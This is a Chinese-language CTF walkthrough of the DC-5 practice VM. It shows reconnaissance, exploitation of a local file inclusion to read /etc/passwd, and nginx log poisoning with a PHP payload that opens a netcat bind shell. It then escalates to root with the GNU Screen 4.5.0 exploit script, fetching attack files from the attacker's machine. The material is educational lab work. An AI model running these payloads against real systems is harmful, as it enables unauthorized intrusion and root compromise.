DC-5 靶机渗透

DC-5 靶机渗透

1.渗透过程

  • 开始,扫描主机:
netdiscover -r 192.168.0.1/24
  • 找到一个 192.168.0.149 00:0c:29:cb:31:5f 1 60 VMware, Inc.

  • 扫端口:

nmap -sS -A -p- 192.168.0.149
  • 扫描结果:
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-26 14:36 CST
Nmap scan report for 192.168.0.149
Host is up (0.0019s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 38192/tcp status
|_ 100024 1 47477/udp status
38192/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:CB:31:5F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
  • 只有开启了 80 http 111:RPC 38192:RPC

  • 在下载的时候看到的描述:

  • As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
    据我所知,只有一个可利用的入口点(也没有SSH)。这个特定的入口点可能很难识别,但它就在那里。你需要寻找一些不寻常的东西(随着页面刷新而改变的东西)。这将有希望提供一些关于脆弱性可能涉及到什么的想法。

  • 我们需要寻找 >> 随着页面刷新而改变的东西

  • 翻翻他的网页最后在 提交留言之后的页面 >>

  • http://192.168.0.149/thankyou.php?firstname=11&lastname=11&country=britain&subject=111

  • 找到他的底部的 Copyright © 2019

  • 年份会变化,那也不知道哪里有漏洞啊

  • 先给他爆破个目录:

  • 然后爆出来:

200 OK-----http://192.168.0.149//index.php
200 OK-----http://192.168.0.149//contact.php
200 OK-----http://192.168.0.149//faq.php
200 OK-----http://192.168.0.149//footer.php
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network
Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin
dc:x:1000:1000:dc,,,:/home/dc:/bin/bash mysql:x:108:113:MySQL
Server,,,:/nonexistent:/bin/false
  • 本地文件包含漏洞(LFI) 好办了 ^_^

  • 我们试试日志注入:

  • 前面 nmap 扫出web服务器是 nginx 1.6.2

  • 然后 nginx默认的访问日志在: /var/log/nginx/access.log

  • 直接输入: http://192.168.0.149/thankyou.php?file=/var/log/nginx/access.log 验证一下

  • 真包含进来了~ (ps:前面的爆破会产生大量日志内容,可能导致读不出内容,建议在爆破之前给靶机来个快照)

  • 我们直接用nc去连接他的80端口:

root@kali:~/workspace# nc 192.168.0.149 80
#直接写一个直连的shellcode
GET <?php system('nc -lvp 13123 -e /bin/bash');?> HTTP/1.1
#下面的自己生成的
HTTP/1.1 400 Bad Request
Server: nginx/1.6.2
Date: Sat, 25 Apr 2020 17:33:49 GMT
Content-Type: text/html
Content-Length: 172
Connection: close
# 返回信息:
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.6.2</center>
</body>
</html>
python -c 'import pty;pty.spawn("/bin/bash")'
  • 得到标准控制台之后 就要想办法提权了

  • 先看看用户目录,发现只有一个dc 用户有用户目录

  • 里面啥也没有 再翻翻 /tmp 文件夹 也没

  • 先看看suid 的提权

find / -user root -perm -4000 -print 2>/dev/null
  • 找出suid的文件
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs
  • 百度才知道 :screen-4.5.0 有一个提权漏洞
root@kali# searchsploit screen 4.5.0
GNU Screen 4.5.0 - Local Privilege Escalation
| exploits/linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC)
| exploits/linux/local/41152.txt
  • 找到两个文件 直接用那个sh文件吧

  • 可以到自己的kali 运行一下,会产生两个文件并获得rootshell

-rwxr-xr-x 1 root root  1152 4月  26 15:57 41154.sh
-rwxr-xr-x 1 root root 16136 4月 26 15:57 libhax.so
-rwxr-xr-x 1 root root 16824 4月 26 15:57 rootshell
  • 然后我们用kali写一个sh文件: vim /tmp/run.sh

  • 内容是:

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
  • 我们用 scp 拷贝到靶机里去
scp root@192.168.0.21:/tmp/libhax.so /tmp
#然后输入kali的密码
scp root@192.168.0.21:/tmp/rootshell /tmp
#然后输入kali的密码
scp root@192.168.0.21:/tmp/run.sh /tmp
  • 然后依次执行下面的语句或者写成shell脚本
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
  • 给他个执行权限并运行 cd /tmp;chmod +x run.sh;./run.sh

  • 就可以得到一个rootshell了:

www-data@dc-5:~$ cd /tmp;chmod +x run.sh;./run.sh
cd /tmp;chmod +x run.sh;./run.sh
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!

# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
  • flag 就在/root下的thisistheflag.txt文件

THEEND!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值